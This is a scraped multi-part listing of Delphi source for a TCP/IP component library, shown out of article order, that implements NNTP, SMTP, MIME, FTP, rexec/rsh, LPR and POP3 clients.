property NNTP: T_NNTP read f_nntp write f_nntp;
property Newsgroups: TStringlist read f_newsgroups write SetNewsgroups;
property Organization: string read f_organization write f_organization;
end;
(*@\\\0000000C14*)
(*@/// T_Attachment = class(TObject) *)
T_Attachment = class(TObject)
protected
f_kind: string;
f_disposition: string;
f_data: TStream;
f_text: TStringList;
f_encoding: T_Encoding;
procedure SetText(value:TStringList);
procedure SetData(value:TStream);
public
constructor Create;
destructor Destroy; override;
property Kind: string read f_kind write f_kind;
property Disposition: string read f_disposition write f_disposition;
property Encoding: T_Encoding read f_encoding write f_encoding;
property Text:TStringlist read f_text write SetText;
property Data:TStream read f_data write SetData;
end;
(*@\\\0000000D01*)
(*@/// T_Mime = class(TComponent) // RFC 1521 *)
T_Mime = class(TComponent)
protected
f_mail: T_MailNews;
boundary: string;
f_attachment: TList;
function GetNumberOfAttachments: integer;
public
constructor Create(Aowner:TComponent); override;
destructor Destroy; override;
function AttachFile(const filename:string):integer;
function AttachText(text: TStringList):integer;
procedure RemoveAllAttachments;
procedure action;
procedure SetMail(mail: TStringlist);
function GetAttachment(index: integer):T_Attachment;
procedure RemoveAttachment(index: integer);
property Attachment[index:integer]:T_Attachment read GetAttachment;
property NumberOfAttachments: integer read GetNumberOfAttachments;
published
property Mail: T_MailNews read f_mail write f_mail;
end;
(*@\\\0000000A01*)

const
uwm_socketevent = wm_user+$100; (* my magic message number *)

var
lpr_count: integer; (* the current job number *)

procedure Register;
(*@\\\0000003B03*)
(*@/// implementation *)
implementation


CSDN_文档中心_TCP/IP(八)

(*@\\\0000000601*)
(*@/// procedure t_nntp.GetArticleNr(index:integer); // ARTICLE *)
procedure t_nntp.GetArticleNr(index:integer);
begin
if not f_logged_in then login;
self.SendCommand('ARTICLE '+inttostr(index));
self.response;
f_news.clear;
GetArticleInternally;
end;
(*@\\\0000000401*)
(*@/// procedure t_nntp.SetCurrentArticle(index:integer); // STAT *)
procedure t_nntp.SetCurrentArticle(index:integer);
begin
if not f_logged_in then login;
self.SendCommand('STAT '+inttostr(index));
self.response;
end;
(*@\\\0000000401*)
(*@/// procedure t_nntp.GetCurrentArticle; // HEAD and BODY *)
procedure t_nntp.GetCurrentArticle;
begin
if not f_logged_in then login;
f_news.clear;
self.SendCommand('HEAD');
GetArticleInternally;
f_news.add('');
self.SendCommand('BODY');
GetArticleInternally;
end;
(*@\\\0000000401*)
(*@/// procedure t_nntp.GetNextArticle; // NEXT *)
procedure t_nntp.GetNextArticle;
begin
if not f_logged_in then login;
self.SendCommand('NEXT');
self.response;
GetCurrentArticle;
end;
(*@\\\0000000401*)
(*@/// procedure t_nntp.GetPreviousArticle; // LAST *)
procedure t_nntp.GetPreviousArticle;
begin
if not f_logged_in then login;
self.SendCommand('LAST');
self.response;
GetCurrentArticle;
end;
(*@\\\0000000401*)

(*@/// procedure t_nntp.response; *)
procedure t_nntp.response;
var
s: string;
begin
s:=self.read_line(f_socket);
if assigned(f_tracer) then
f_tracer(s,tt_proto_get);
try
f_status_nr:=strtoint(copy(s,1,3));
except
f_status_nr:=999;
end;
f_status_txt:=copy(s,5,length(s));
if f_status_nr>=400 then
raise EProtocolError.Create('NNTP',f_status_txt,f_status_nr);
end;
(*@\\\0000000D01*)
(*@/// procedure t_nntp.GetArticle(group:string; index:integer); *)
procedure t_nntp.GetArticle(const group:string; index:integer);
begin
self.SendCommand('GROUP '+group);
self.response;
GetArticleNr(index);
end;
(*@\\\0000000301*)
(*@/// procedure t_nntp.GetArticleInternally; *)
procedure t_nntp.GetArticleInternally;
var
s: string;
begin
while true do begin
s:=read_line(f_socket);
if s<>'.' then
f_news.add(s)
else
BREAK;
end;
end;
(*@\\\0000000611*)
(*@\\\0000000D01*)

{ Mail and News text components }
(*@/// class t_mailnews(tcomponent) *)
(*@/// constructor t_mailnews.Create(Aowner:TComponent); *)
constructor t_mailnews.Create(Aowner:TComponent);
begin
inherited create(AOwner);
f_body:=TStringList.Create;
f_add_header:=TStringList.Create;
f_message:=TStringList.Create;
end;
(*@\\\0000000603*)
(*@/// destructor t_mailnews.Destroy; *)
destructor t_mailnews.Destroy;
begin
f_body.Free;
f_add_header.Free;
f_message.Free;
inherited destroy;
end;
(*@\\\0000000503*)

(*@/// procedure t_mailnews.SetBody(Value: TStringList); *)
procedure t_mailnews.SetBody(Value: TStringList);
begin
if value=NIL then
f_body.clear
else
f_body.assign(value);
end;
(*@\\\0000000603*)
(*@/// procedure t_mailnews.SetHeader(Value: TStringList); *)
procedure t_mailnews.SetHeader(Value: TStringList);
begin
if value=NIL then
f_add_header.clear
else
f_add_header.assign(value);
end;
(*@\\\0000000603*)

(*@/// procedure t_mailnews.action; *)
procedure t_mailnews.action;
begin
f_message.insert(0,'From: '+f_from); (* normally the first *)
if f_sender<>'' then f_message.add('Sender: '+f_sender);
f_message.insert(1,'Message-ID: <'+inttostr(round((now-encodedate(1970,1,1))*86400))+'@'
+my_hostname+'>');
f_message.insert(2,'Date: '+internet_date(now));
f_message.insert(3,'Subject: '+f_subject);
if f_references<>'' then f_message.add('References: '+f_references);
if f_replyto<>'' then f_message.add('Reply-To: '+f_replyto);
f_message.addstrings(f_add_header);
f_message.add(''); (* An empty line to separate header from body *)
f_message.addstrings(f_body);
end;
(*@\\\0000000B01*)
(*@\\\0000000701*)
(*@/// class t_mail(t_mailnews) *)
(*@/// constructor t_mail.Create(Aowner:TComponent); *)
constructor t_mail.Create(Aowner:TComponent);
begin
inherited create(AOwner);
f_smtp:=NIL;
f_receipts:=TStringList.Create;
f_cc:=TStringList.Create;
f_bcc:=TStringList.Create;
end;
(*@\\\0000000601*)
(*@/// destructor t_mail.Destroy; *)
destructor t_mail.Destroy;
begin
f_receipts.Free;
f_cc.free;
f_bcc.free;
inherited destroy;
end;
(*@\\\0000000601*)

(*@/// procedure t_mail.SetRecipients(Value: TStringList); *)
procedure t_mail.SetRecipients(Value: TStringList);
begin
if value=NIL then
f_receipts.clear
else
f_receipts.assign(value);
end;
(*@\\\0000000603*)
(*@/// procedure t_mail.SetCC(Value: TStringList); *)
procedure t_mail.SetCC(Value: TStringList);
begin
if value=NIL then
f_cc.clear
else
f_cc.assign(value);
end;
(*@\\\0000000609*)
(*@/// procedure t_mail.SetBCC(Value: TStringList); *)
procedure t_mail.SetBCC(Value: TStringList);
begin
if value=NIL then
f_bcc.clear
else
f_bcc.assign(value);
end;
(*@\\\0000000601*)

(*@/// procedure t_mail.action; *)
procedure t_mail.action;
var
i: integer;
clear_sender: boolean;
begin
if (f_smtp=NIL) or (f_receipts=NIL) or (f_receipts.count=0)
or (f_from='') then EXIT;
clear_sender:=(f_smtp.Sender='');
if clear_sender then begin
if f_sender<>'' then
f_smtp.sender:=f_sender
else
f_smtp.sender:=f_from;
end;

if f_disclose_receipts then
f_message.add('To: disclosed recipients list')
else
for i:=0 to f_receipts.count-1 do begin
f_message.add('To: '+f_receipts.strings[i]);
end;
f_smtp.Recipients:=f_receipts;
for i:=0 to f_cc.count-1 do begin
f_message.add('CC: '+f_cc.strings[i]);
f_smtp.Recipients.add(f_cc.strings[i]);
end;
for i:=0 to f_bcc.count-1 do begin
f_smtp.Recipients.add(f_bcc.strings[i]);
end;

inherited action;
f_smtp.message:=f_message;
f_smtp.action;
f_message.clear;
if clear_sender then
f_smtp.sender:='';
end;


CSDN_文档中心_TCP/IP(九)

(*@\\\0000000B01*)
(*@\\\0000000801*)
(*@/// class t_news(t_mailnews) *)
(*@/// constructor t_news.Create(Aowner:TComponent); *)
constructor t_news.Create(Aowner:TComponent);
begin
inherited create(AOwner);
f_nntp:=NIL;
f_newsgroups:=TStringList.Create;
end;
(*@\\\0000000501*)
(*@/// destructor t_news.Destroy; *)
destructor t_news.Destroy;
begin
f_newsgroups.Free;
inherited destroy;
end;
(*@\\\000000030F*)

(*@/// procedure t_news.SetNewsgroups(Value: TStringList); *)
procedure t_news.SetNewsgroups(Value: TStringList);
begin
if value=NIL then
f_newsgroups.clear
else
f_newsgroups.assign(value);
end;
(*@\\\0000000603*)

(*@/// procedure t_news.action; *)
procedure t_news.action;
var
s:string;
i:integer;
begin
if (f_nntp=NIL) or (f_newsgroups=NIL) or (f_newsgroups.count=0)
or (f_newsgroups.count>10) (* no spamming, please *)
or (f_from='') then EXIT;
s:='Newsgroups: ';
i:=0;
while true do begin
s:=s+f_newsgroups.strings[i];
inc(i);
if i<f_newsgroups.count then
s:=s+',';
f_message.add(s);
if i>=f_newsgroups.count then BREAK;
s:=' ';
end;
if f_organization<>'' then f_message.add(f_organization);
inherited action;
f_nntp.login;
f_nntp.news:=f_message;
f_nntp.PostArticle;
f_nntp.logout;
f_message.clear;
end;
(*@\\\*)
(*@\\\0000000401*)

(*@/// class t_attachment(TObject) *)
(*@/// constructor t_attachment.Create; *)
constructor t_attachment.Create;
begin
inherited create;
f_text:=TStringlist.create;
f_data:=TMemoryStream.Create;
f_encoding:=ec_none;
end;
(*@\\\0000000617*)
(*@/// destructor t_attachment.Destroy; *)
destructor t_attachment.Destroy;
begin
f_text.free;
f_data.free;
inherited destroy;
end;
(*@\\\*)

(*@/// procedure t_attachment.SetText(value:TStringList); *)
procedure t_attachment.SetText(value:TStringList);
begin
if value=NIL then
f_text.clear
else begin
f_text.assign(value);
f_text.SaveToStream(TMemoryStream(f_data));
end;
end;
(*@\\\0000000701*)
(*@/// procedure t_attachment.SetData(value:TStream); *)
procedure t_attachment.SetData(value:TStream);
begin
if value=NIL then
TMemoryStream(f_data).clear
else begin
f_text.clear;
TMemoryStream(f_data).LoadFromStream(value);
end;
end;
(*@\\\000000041A*)
(*@\\\*)
(*@/// class t_mime(TComponent) *)
(*@/// constructor t_mime.Create(Aowner:TComponent); *)
constructor t_mime.Create(Aowner:TComponent);
begin
inherited Create(AOwner);
f_attachment:=TList.Create;
end;
(*@\\\000000040F*)
(*@/// destructor t_mime.Destroy; *)
destructor t_mime.Destroy;
begin
if f_attachment<>NIL then begin
try
RemoveAllAttachments;
except
end;
end;
f_attachment.free;
inherited Destroy;
end;
(*@\\\0000000701*)

(*@/// function t_mime.AttachFile(const filename:string):integer; *)
function t_mime.AttachFile(const filename:string):integer;
var
t: t_attachment;
data: TFileStream;
begin
t:=t_attachment.Create;
t.kind:='application/octet-stream';
t.encoding:=ec_base64;
data:=NIL;
try
data:=TFileStream.Create(filename,fmOpenRead);
t.data:=data;
data.free;
except
data.free;
t.free;
raise;
end;
t.disposition:='attachment; filename="'+filename_of(filename)+'"';
result:=f_attachment.add(t);
end;
(*@\\\*)
(*@/// function t_mime.AttachText(text: TStringList):integer; *)
function t_mime.AttachText(text: TStringList):integer;
var
t: t_attachment;
begin
t:=t_attachment.Create;
t.kind:='text/plain';
t.encoding:=ec_quotedprintable;
t.text:=text;
t.disposition:='';
result:=f_attachment.add(t);
end;
(*@\\\000000060C*)
(*@/// procedure t_mime.RemoveAttachment(index: integer); *)
procedure t_mime.RemoveAttachment(index: integer);
begin
if (index>=0) and (f_attachment.count>index) then begin
TObject(f_attachment[index]).free;
f_attachment.delete(index);
end;
end;
(*@\\\0000000301*)
(*@/// procedure t_mime.RemoveAllAttachments; *)
procedure t_mime.RemoveAllAttachments;
begin
while f_attachment.count>0 do begin
TObject(f_attachment[0]).free;
f_attachment.delete(0);
end;
end;
(*@\\\000000031E*)
(*@/// function t_mime.GetNumberOfAttachments: integer; *)
function t_mime.GetNumberOfAttachments: integer;
begin
result:=f_attachment.count;
end;
(*@\\\0000000317*)

(*@/// procedure t_mime.action; *)
procedure t_mime.action;
var
data, encoded: TStringList;
i,j,p: integer;
attach: t_attachment;
begin
if f_mail=NIL then EXIT;
boundary:=inttostr(round((now-encodedate(1970,1,1))*86400))+inttohex(my_ip_address,8)+'==';
data:=NIL;
p:=-1;
try
data:=TStringList.Create;
f_mail.Header.add('MIME-Version: 1.0');
f_mail.Header.add('Content-Type: multipart/mixed; boundary="'+boundary+'"');
f_mail.Header.add('Content-Transfer-Encoding: 7bit');
data.assign(f_mail.Body);
if data.count>0 then begin
f_mail.Body.clear;
p:=AttachText(data);
end;
for i:=0 to f_attachment.count-1 do begin
attach:=t_attachment(f_attachment[i]);
f_mail.Body.Add('');
f_mail.Body.Add('--'+boundary);
f_mail.Body.Add('Content-Type: '+attach.kind);
if attach.disposition<>'' then
f_mail.Body.Add('Content-Disposition: '+attach.disposition);
case attach.encoding of
ec_base64: f_mail.Body.Add('Content-Transfer-Encoding: base64');
ec_quotedprintable: f_mail.Body.Add('Content-Transfer-Encoding: quoted-printable');
end;
f_mail.Body.Add('');
case attach.encoding of
(*@/// ec_base64: *)
ec_base64: begin
encoded:=encode_base64(attach.data);
f_mail.Body.AddStrings(encoded);
encoded.free;
end;
(*@\\\0000000201*)
(*@/// ec_quotedprintable: // only for text ! *)
ec_quotedprintable: begin
for j:=0 to attach.text.count-1 do
f_mail.Body.Add(eight2seven_quoteprint(attach.text[j]));
end;
(*@\\\0000000315*)
(*@/// ec_none: // only for text ! *)
ec_none: begin
for j:=0 to attach.text.count-1 do
f_mail.Body.Add(eight2seven_quoteprint(attach.text[j]));
end;
(*@\\\0000000403*)
end;
end;
f_mail.Body.Add('');
f_mail.Body.Add('--'+boundary+'--');
f_mail.action;
if data.count>0 then
f_mail.body:=data;
finally
data.free;
RemoveAttachment(p);
end;
end;
(*@\\\0000002201*)
(*@/// procedure t_mime.SetMail(mail: TStringlist); *)
procedure t_mime.SetMail(mail: TStringlist);
(*@/// procedure strip_header(const line:string; var field,data: string); *)
procedure strip_header(const line:string; var field,data: string);
var
h: integer;
begin
h:=pos(':',line);
if h>0 then begin
field:=lowercase(copy(line,1,h-1));
data:=trim(copy(line,h+1,length(line)));
end
else begin
field:='';
data:='';
end;
end;
(*@\\\0000000B12*)
var
i,j: integer;
s,field,data: string;
attach: t_attachment;
begin
boundary:='';
RemoveAllAttachments;
(*@/// parse header lines and search for mime boundary *)
i:=0;
while (i<mail.count-1) and (mail.strings[i]<>'') do begin
strip_header(mail.strings[i],field,data);
(*@/// if field='content-type' then *)
if field='content-type' then begin
s:=copy(data,pos('boundary',data),length(data));
s:=copy(s,pos('"',s)+1,length(s));
boundary:=copy(s,1,pos('"',s)-1);
end;
(*@\\\0000000201*)
inc(i);
end;
(*@\\\0000000401*)
attach:=t_attachment.create;
while true do begin
inc(i); (* ignore the empty line *)
if i>=mail.count-1 then BREAK;
while (i<mail.count-1) and (mail.strings[i]<>'--'+boundary) and
(mail.strings[i]<>'--'+boundary+'--') do begin
attach.text.add(mail.strings[i]);
inc(i);
end;
case attach.encoding of
(*@/// ec_base64: *)
ec_base64: begin
attach.data:=decode_base64(attach.text);
attach.text:=NIL;
end;
(*@\\\0000000301*)
(*@/// ec_quotedprintable: *)
ec_quotedprintable: begin
for j:=0 to attach.text.count-1 do
attach.text.strings[j]:=seven2eight_quoteprint(attach.text.strings[j]);
end;
(*@\\\0000000301*)
ec_none: ;
end;
if mail.strings[i]='--'+boundary+'--' then BREAK; (* end of mime *)
if i>=mail.count-1 then BREAK;
if (attach.text.count>0) or (attach.data.size>0) then
f_attachment.add(attach);
attach:=t_attachment.create;
inc(i); (* ignore the empty line *)
if i>=mail.count-1 then BREAK;
(*@/// parse mime block header *)
while (i<mail.count-1) and (mail.strings[i]<>'') do begin
if s[1]<>' ' then
strip_header(mail.strings[i],field,data)
else
data:=data+s;
if false then
else if field='content-type' then attach.kind:=data
else if field='content-disposition' then attach.disposition:=data
(*@/// else if field='content-transfer-encoding' then begin *)
else if field='content-transfer-encoding' then begin
data:=lowercase(data);
if false then
else if data='base64' then
attach.encoding:=ec_base64
else if data='quoted-printable' then
attach.encoding:=ec_quotedprintable
else
attach.encoding:=ec_none;
end;
(*@\\\0000000716*)
inc(i);
end;
(*@\\\0000000901*)
end;
f_attachment.add(attach);
end;
(*@\\\0000001B33*)
(*@/// function t_mime.GetAttachment(index: integer):t_attachment; *)
function t_mime.GetAttachment(index: integer):t_attachment;
begin
if index>f_attachment.count-1 then
result:=NIL
else
result:=t_attachment(f_attachment[index]);
end;
(*@\\\0000000306*)
(*@\\\0000000501*)

(*@/// procedure Register; *)
procedure Register;
begin
RegisterComponents('TCP/IP', [t_finger]);
RegisterComponents('TCP/IP', [t_fingerD]);
RegisterComponents('TCP/IP', [t_http]);
RegisterComponents('TCP/IP', [t_ftp]);
RegisterComponents('TCP/IP', [t_lpr]);
RegisterComponents('TCP/IP', [t_smtp]);
RegisterComponents('TCP/IP', [t_mail]);
RegisterComponents('TCP/IP', [t_nntp]);
RegisterComponents('TCP/IP', [t_news]);
RegisterComponents('TCP/IP', [t_time]);
RegisterComponents('TCP/IP', [t_rexec]);
RegisterComponents('TCP/IP', [t_rsh]);
RegisterComponents('TCP/IP', [t_pop3]);
RegisterComponents('TCP/IP', [t_mime]);
end;
(*@\\\*)
(*@\\\0000003114*)
(*@/// initialization *)
begin
lpr_count:=0;
end.
(*@\\\*)
(*@\\\0001000011*)


CSDN_文档中心_TCP/IP(六）

*@\\\0000000B01*)

(*@/// procedure t_ftp.WndProc(var Msg : TMessage); *)
procedure t_ftp.WndProc(var Msg : TMessage);
var
temp_socket:TSocket;
sockinfo: TSockAddr;
begin
if msg.msg<>uwm_socketevent+1 then
inherited WndProc(Msg)
else begin
if msg.lparamhi=socket_error then
else begin
case msg.lparamlo of
(*@/// fd_accept: *)
fd_accept: begin
temp_socket:=f_socket;
self.f_socket:=accept_socket_in(f_socket,sockinfo);
close_socket(temp_socket);
end;
(*@\\\0000000401*)
(*@/// fd_write: *)
fd_write: begin
case f_mode_intern of
tftp_download,
tftp_getdir: ;
tftp_upload: do_write;
end;
end;
(*@\\\000000010B*)
(*@/// fd_read: *)
fd_read: begin
case f_mode_intern of
tftp_download,
tftp_getdir: do_read;
tftp_upload: ;
end;
end;
(*@\\\0000000201*)
fd_connect: ; (* can be ignored, a fd_write will come *)
(*@/// fd_close: *)
fd_close: begin
{ case f_mode_intern of }
{ tftp_download: finish_download; }
{ tftp_getdir: finish_getdir; }
{ tftp_upload: finish_upload; }
{ end; }
end;
(*@\\\0000000701*)
end;
end;
end;
end;
(*@\\\0000000C01*)

(*@/// function t_ftp.getdirentry:t_filedata; *)
function t_ftp.getdirentry:t_filedata;
begin
result:=empty_filedata;
while (f_cur_dir_index<f_cur_dir.count) and ((result.filetype=ft_none)
or (result.name='.') or (result.name='..')) do begin
result:=parse_ftp_line(f_cur_dir[f_cur_dir_index]);
inc(f_cur_dir_index);
end;
end;
(*@\\\0000000601*)

(*@/// function t_ftp.read_line_comm:string; *)
function t_ftp.read_line_comm:string;
begin
result:=read_line(f_comm_socket);
end;
(*@\\\0000000401*)
(*@/// procedure t_ftp.SendCommand(const s:string); *)
procedure t_ftp.SendCommand(const s:string);
begin
write_s(f_comm_socket,s+#13#10);
if assigned(f_tracer) then
f_tracer(s,tt_proto_sent);
end;
(*@\\\0000000321*)
(*@\\\0000000C01*)

{ Time, RExec, LPR - the most useful UNIX services }
(*@/// class t_time(t_tcpip) *)
(*@/// constructor t_time.Create(Aowner:TComponent); *)
constructor t_time.Create(Aowner:TComponent);
begin
inherited create(AOwner);
f_Socket_number:=37;
f_time:=0;
f_timemode:=tzUTC;
end;
(*@\\\0000000601*)

(*@/// procedure t_time.action; *)
procedure t_time.action;
var
ok:integer;
b: byte;
bias: integer;
begin
login;
f_time:=0;
while not eof(f_socket) do begin
read_var(f_socket,b,1,ok);
if ok=1 then
f_time:=f_time*256+b;
end;
f_time:=f_time/86400+encodedate(1900,1,1);
if f_timemode<>tzUTC then begin
(* Alternative: use SystemTimeToTzSpecificLocalTime, but only works in NT *)
bias:=TimeZoneBias;
f_time:=f_time-bias/1440; (* bias is in minutes *)
end;
end;
(*@\\\0000000901*)
(*@\\\0000000310*)
(*@/// class T_RCommon(t_tcpip) *)
(*@/// procedure t_rcommon.open_socket_out(var socket:TSocket; Socket_number:smallint;ip_address:longint); *)
procedure t_rcommon.open_socket_out(var socket:TSocket; Socket_number:smallint;ip_address:longint);
begin
close_socket(socket);
socket:=Create_Socket;
bind_socket(socket,512,1023);
connect_socket(socket,Socket_number,ip_address);
end;
(*@\\\0000000113*)
(*@/// procedure t_rcommon.action; *)
procedure t_rcommon.action;
var
p: pointer;
ok,ok2:integer;
begin
login;
while not eof(f_socket) do begin
read_var(f_socket,f_buffer^,buf_size,ok);
p:=f_buffer;
while ok>0 do begin (* just to be sure everything goes into the stream *)
ok2:=f_stream.write(p^,ok);
dec(ok,ok2);
p:=pointer(longint(p)+ok2);
end;
end;
f_stream.seek(0,0); (* set the stream back to start *)
logout;
end;
(*@\\\0000000113*)
(*@\\\000000021B*)
(*@/// class t_rexec(t_rcommon) *)
(*@/// constructor t_rexec.Create(Aowner:TComponent); *)
constructor t_rexec.Create(Aowner:TComponent);
begin
inherited create(AOwner);
f_Socket_number:=512; (* rexec *)
end;
(*@\\\0000000501*)
(*@/// procedure t_rexec.login; *)
procedure t_rexec.login;
begin
inherited login;
self.write_s(f_socket,f_user+#0);
self.write_s(f_socket,f_pass+#0);
self.write_s(f_socket,f_command+#0);
end;
(*@\\\0000000410*)
(*@\\\0000000201*)
(*@/// class t_rsh(t_rcommon) *)
(*@/// constructor t_rsh.Create(Aowner:TComponent); *)
constructor t_rsh.Create(Aowner:TComponent);
begin
inherited create(AOwner);
f_Socket_number:=514; (* rsh *)
end;
(*@\\\0000000401*)
(*@/// procedure t_rsh.login; *)
procedure t_rsh.login;
begin
inherited login;
self.write_s(f_socket,'0'+#0); (* port for stderr, NYI *)
(* must be a listening port on the
client's side, within the reserved
port range 512..1023 *)
self.write_s(f_socket,f_user_r+#0); (* remote *)
self.write_s(f_socket,f_user_l+#0); (* local *)
self.write_s(f_socket,f_command+#0); (* command to execute *)
end;
(*@\\\0000000401*)
(*@\\\0000000201*)
(*@/// class T_lpr(t_tcpip) *)
(*@/// constructor t_lpr.Create(Aowner:TComponent); *)
constructor t_lpr.Create(Aowner:TComponent);
begin
inherited create(AOwner);
f_Socket_number:=515;
f_printtype:=lp_ascii;
f_count:=1;
end;
(*@\\\000000060E*)

(*@/// procedure t_lpr.open_socket_out(var socket:TSocket; Socket_number:smallint;ip_address:longint); *)
procedure t_lpr.open_socket_out(var socket:TSocket; Socket_number:smallint;ip_address:longint);
begin
close_socket(socket);
socket:=Create_Socket;
bind_socket(socket,512,1023);
connect_socket(socket,Socket_number,ip_address);
end;
(*@\\\0000000501*)
(*@/// procedure t_lpr.action; *)
procedure t_lpr.action;
begin
login;
SendPrintData;
logout;
end;
(*@\\\0000000501*)
(*@/// procedure t_lpr.SendPrintData; *)
procedure t_lpr.SendPrintData;
var
ok:integer;
i: integer;
s: string;
job_name: string;
config_stream: TMemoryStream;
begin
(* sanity checks *)
if (f_queue='') or (f_stream.size=0) or (f_count=0) or (f_user='') then EXIT;
s:=#02+f_queue+#10;
write_s(f_socket,s);
self.response;
job_name:=inttostr(lpr_count+1000);
job_name:=copy(job_name,length(job_name)-2,3)+my_hostname;
(*@/// collect and send the description data *)
config_stream:=NIL;
try
config_stream:=TMemorystream.Create;
(*@/// H originating host *)
s:='H'+ip2string(my_ip_address)+#10;
stream_write_s(config_stream,s);
(*@\\\0000000120*)
(*@/// P responsible user *)
s:='P'+copy(f_user,1,31)+#10;
stream_write_s(config_stream,s);
(*@\\\*)
(*@/// M address to send the mail to *)
if f_user_mail<>'' then begin
s:='M'+f_user_mail+#10;
stream_write_s(config_stream,s);
end;
(*@\\\0000000303*)
(*@/// J jobname (for banner) *)
if f_jobname<>'' then begin
s:='M'+copy(f_jobname,1,99)+#10;
stream_write_s(config_stream,s);
end;
(*@\\\0000000401*)
(*@/// C class name = host name of sender (for banner) *)
s:='C'+copy(my_hostname,1,99)+#10;
stream_write_s(config_stream,s);
(*@\\\*)
(*@/// L banner page *)
if f_banner then begin
s:='L'+f_user+#10;
stream_write_s(config_stream,s);
end;
(*@\\\0000000303*)
(*@/// T title (for lp_pr only) *)
if f_title<>'' then begin
s:='T'+copy(f_title,1,79)+#10;
stream_write_s(config_stream,s);
end;
(*@\\\0000000303*)
(*@/// the print command itself *)
case f_printtype of
lp_plain: s:='l';
lp_ascii: s:='f';
lp_dvi: s:='d';
lp_plot: s:='g';
lp_ditroff: s:='n';
lp_ps: s:='o';
lp_pr: s:='p';
lp_fortran: s:='r';
lp_troff: s:='t';
lp_raster: s:='v';
lp_cif: s:='c';
end;
s:=s+job_name+#10;
for i:=1 to f_count do
stream_write_s(config_stream,s);
(*@\\\*)
(*@/// U unlink the file after the printing *)
s:='U'+jobname+#10;
stream_write_s(config_stream,s);
(*@\\\*)
(*@/// send the data *)
config_stream.seek(0,0); (* set the stream back to start *)
s:=#02+inttostr(config_stream.size)+' cfA'+job_name+#10;
write_s(f_socket,s);
self.response;
ok:=1;
while ok>0 do begin
ok:=config_stream.read(f_buffer^,buf_size);
write_buf(f_socket,f_buffer^,ok);
end;
write_s(f_socket,#0); (* finish the config data *)
(*@\\\*)
finally
config_stream.free;
end;
(*@\\\0000001007*)
(*@/// send the data to print *)
s:=#03+inttostr(stream.size)+' dfA'+job_name+#10;
write_s(f_socket,s);
self.response;
f_stream.seek(0,0); (* set the stream back to start *)
ok:=1;
while ok>0 do begin
ok:=f_stream.read(f_buffer^,buf_size);
write_buf(f_socket,f_buffer^,ok);
end;
write_s(f_socket,#0); (* finish the plot *)
(*@\\\000000081E*)
inc(lpr_count);
end;
(*@\\\0000001001*)
(*@/// procedure t_lpr.GetQueueStatus(detailed:boolean); *)
procedure t_lpr.GetQueueStatus(detailed:boolean);
var
p: pointer;
ok,ok2:integer;
s: string;
begin
if (f_queue='') then EXIT;
if detailed then
s:=#04+f_queue+#10
else
s:=#03+f_queue+#10;
write_s(f_socket,s);
while not eof(f_socket) do begin
read_var(f_socket,f_buffer^,buf_size,ok);
p:=f_buffer;
while ok>0 do begin (* just to be sure everything goes into the stream *)
ok2:=f_stream.write(p^,ok);
dec(ok,ok2);
p:=pointer(longint(p)+ok2);
end;
end;
f_stream.seek(0,0); (* set the stream back to start *)
end;
(*@\\\0000001503*)
(*@/// procedure t_lpr.response; *)
procedure t_lpr.response;
var
b: byte;
ok: integer;
begin
read_var(f_socket,b,1,ok);
if (ok<>1) or (b<>0) then
raise EProtocolError.Create('LPR','',999);
end;
(*@\\\0000000305*)

{ remove jobs }
{ get status }
(*@\\\0000000501*)

{ The Mail and News protocols }
(*@/// class t_smtp(t_tcpip) *)
(*@/// constructor t_smtp.Create(Aowner:TComponent); *)
constructor t_smtp.Create(Aowner:TComponent);
begin
inherited create(AOwner);
f_Socket_number:=25;
f_receipts:=TStringList.Create;
f_body:=TStringList.Create;
end;
(*@\\\0000000501*)
(*@/// destructor t_smtp.Destroy; *)
destructor t_smtp.Destroy;
begin
f_receipts.Free;
f_body.Free;
inherited destroy;
end;


CSDN_文档中心_TCP/IP(七）

(*@\\\0000000501*)

(*@/// procedure t_smtp.action; *)
procedure t_smtp.action;
var
i,j: integer;
s: string;
begin
if (f_receipts=NIL) or (f_receipts.count=0)
or (f_body=NIL) or (f_body.count=0) or (f_user='') then EXIT;
(* not all necessary data filled in *)
login;
f_host:=my_hostname;
(*@/// Open Connection and submit header data *)
self.response; (* Read the welcome message *)

self.SendCommand('HELO '+f_host); (* open connection *)
self.response;
if f_status_nr>=300 then
raise EProtocolError.Create('SMTP',f_status_txt,f_status_nr);

self.SendCommand('MAIL FROM: <'+address_from(f_user,1)+'>'); (* send header data *)
self.response;
if f_status_nr>=300 then
raise EProtocolError.Create('SMTP',f_status_txt,f_status_nr);

for i:=0 to f_receipts.count-1 do begin
j:=0;
while true do begin
inc(j);
s:=address_from(f_receipts.strings[i],j);
if s<>'' then begin
self.SendCommand('RCPT TO: <'+s+'>'); (* submit the receipts *)
self.response;
(* Log error users for later check ? *)
end
else BREAK;
end;
end;

self.SendCommand('DATA'); (* ready to send the mail *)
self.response;
if f_status_nr=354 then begin
for i:=0 to f_body.count-1 do begin
if f_body.strings[i]='.' then f_body.strings[i]:=',';
self.write_s(f_socket,f_body.strings[i]+#13#10);
end;
self.write_s(f_socket,'.'+#13#10);
self.response;
end;
if f_status_nr>=300 then
raise EProtocolError.Create('SMTP',f_status_txt,f_status_nr);
(*@\\\*)
end;
(*@\\\0000000A17*)
(*@/// procedure t_smtp.response; *)
procedure t_smtp.response;
var
s: string;
begin
s:=self.read_line(f_socket);
if assigned(f_tracer) then
f_tracer(s,tt_proto_get);
f_status_nr:=strtoint(copy(s,1,3));
f_status_txt:=copy(s,5,length(s));
(* if the answer consists of several lines read and discard all the following *)
while pos('-',s)=4 do begin
s:=self.read_line(f_socket);
if assigned(f_tracer) then
f_tracer(s,tt_proto_get);
end;
end;
(*@\\\0000000801*)

(*@/// procedure t_smtp.SetBody(Value: TStringList); *)
procedure t_smtp.SetBody(Value: TStringList);
begin
if value=NIL then
f_body.clear
else
f_body.assign(value);
end;
(*@\\\0000000603*)
(*@/// procedure t_smtp.SetRecipients(Value: TStringList); *)
procedure t_smtp.SetRecipients(Value: TStringList);
begin
if value=NIL then
f_receipts.clear
else
f_receipts.assign(value);
end;
(*@\\\0000000603*)
(*@\\\0000000401*)
(*@/// class t_pop3(t_tcpip) *)
type
(*@/// t_reply=class(TObject) *)
t_reply=class(TObject)
public
index: integer;
length: integer;
from: string;
subject: string;
end;
(*@\\\0000000601*)

(*@/// constructor t_pop3.Create(Aowner:TComponent); *)
constructor t_pop3.Create(Aowner:TComponent);
begin
inherited create(Aowner);
f_list:=NIL;
f_mail:=TStringlist.Create;
f_list:=TList.Create;
f_socket_number:=110;
end;
(*@\\\0000000501*)
(*@/// destructor t_pop3.Destroy; *)
destructor t_pop3.Destroy;
begin
f_mail.free;
try
if f_list<>NIL then
while f_list.count>0 do begin
